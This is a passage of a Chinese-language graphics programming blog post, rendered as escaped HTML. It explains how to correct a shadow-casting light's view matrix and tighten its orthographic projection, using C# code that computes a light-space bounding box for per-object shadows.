class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathbf{Z}\\mathbf{T}^{-1}\\mathbf{R}^{-1}\\mathbf{S}\n\\]\u003c/div\u003e\n\u003cp\u003e显然是错的。正确的计算方法是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个问题在之前的文章里也修改了。\u003c/p\u003e\n\u003ch2 id=\"改进-Projection-Matrix-的计算\"\u003e改进 Projection Matrix 的计算\u003ca class=\"headerlink\" href=\"#改进-Projection-Matrix-的计算\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里只考虑主平行光源,也就是正交投影。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg alt=\"剔除效果\" src=\"../../../obsidian-vault/attachments/per-object-shadow-debugger.gif\" /\u003e\u003c/p\u003e\n\u003cp\u003e这个方法的优势:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e准确地剔除看不见的阴影。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ezNear\u003c/code\u003e 和 \u003ccode\u003ezFar\u003c/code\u003e 的距离是最小的,不浪费 ShadowMap 的精度。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"思路\"\u003e思路\u003ca class=\"headerlink\" href=\"#思路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e把角色的包围盒用之前算的 View Matrix 变换到光源 View Space 后,看起来就像下面这样。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"光源 View Space 中的角色包围盒\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240923204753.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e这个包围盒就是角色可投射阴影的区域,也是光源的视锥体。为了让阴影投射到更远的地方,需要把 \u003ccode\u003ezFar\u003c/code\u003e 拉远一点。但如果 \u003ccode\u003ezFar\u003c/code\u003e 距离 \u003ccode\u003ezNear\u003c/code\u003e 过远,会导致 ShadowMap 中深度都集中在 0 或者 1 附近,浪费精度,阴影质量也差。\u003c/p\u003e\n\u003cp\u003e比较好的算法是,在光源的 View Space 中对主相机视锥体进行切割,得到处于上图中矩形范围内的部分(切割时不考虑 Z 轴),再调整 \u003ccode\u003ezFar\u003c/code\u003e 把切出来的那部分包起来。这样,光源视锥体恰好能包住主相机视锥体的有效部分。\u003c/p\u003e\n\u003cp\u003e切割的结果还能用来判断阴影的可见性。如果切割后什么都没剩,或者 \u003ccode\u003ezFar\u003c/code\u003e 算出来跑到 \u003ccode\u003ezNear\u003c/code\u003e 后面,则说明阴影不可见。\u003c/p\u003e\n\u003cp\u003e考虑到有时候主相机的视锥体比较长,用上面的方法算出的 \u003ccode\u003ezFar\u003c/code\u003e 距离 \u003ccode\u003ezNear\u003c/code\u003e 也很远,所以最后还是要再限制一下 \u003ccode\u003ezFar - zNear\u003c/code\u003e 的值。\u003c/p\u003e\n\u003ch3 id=\"计算阴影包围盒\"\u003e计算阴影包围盒\u003ca class=\"headerlink\" href=\"#计算阴影包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将角色的 World Space 包围盒变换到光源 View Space。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetViewSpaceShadowAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 8 个顶点\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eUsage\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowUsage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScene\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 理论上场景阴影可以打到无穷远处,但包围盒太长的话深度都集中在 0 或者 1 处,精度不够\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 目前限制最多向后扩展 100 个单位\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e上面的代码在最后把 \u003ccode\u003eshadowMin.z\u003c/code\u003e 向后扩展到 100 个单位,表示阴影最多往后投射 100 米,超出这个包围盒就没有阴影了。\u003c/p\u003e\n\u003ch3 id=\"简化主相机视锥体\"\u003e简化主相机视锥体\u003ca class=\"headerlink\" href=\"#简化主相机视锥体\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e主相机的视锥体是个棱台,直接用它计算很麻烦,所以将它拆成一堆三角形。每个面沿任意对角线拆成 2 个三角形,一共 12 个。\u003c/p\u003e\n\u003cp\u003e实现时,采用 Mesh 里 Vertex Buffer 和 Index Buffer 的思想,先算视锥体的 8 个顶点。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003es_FrustumCornerBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan 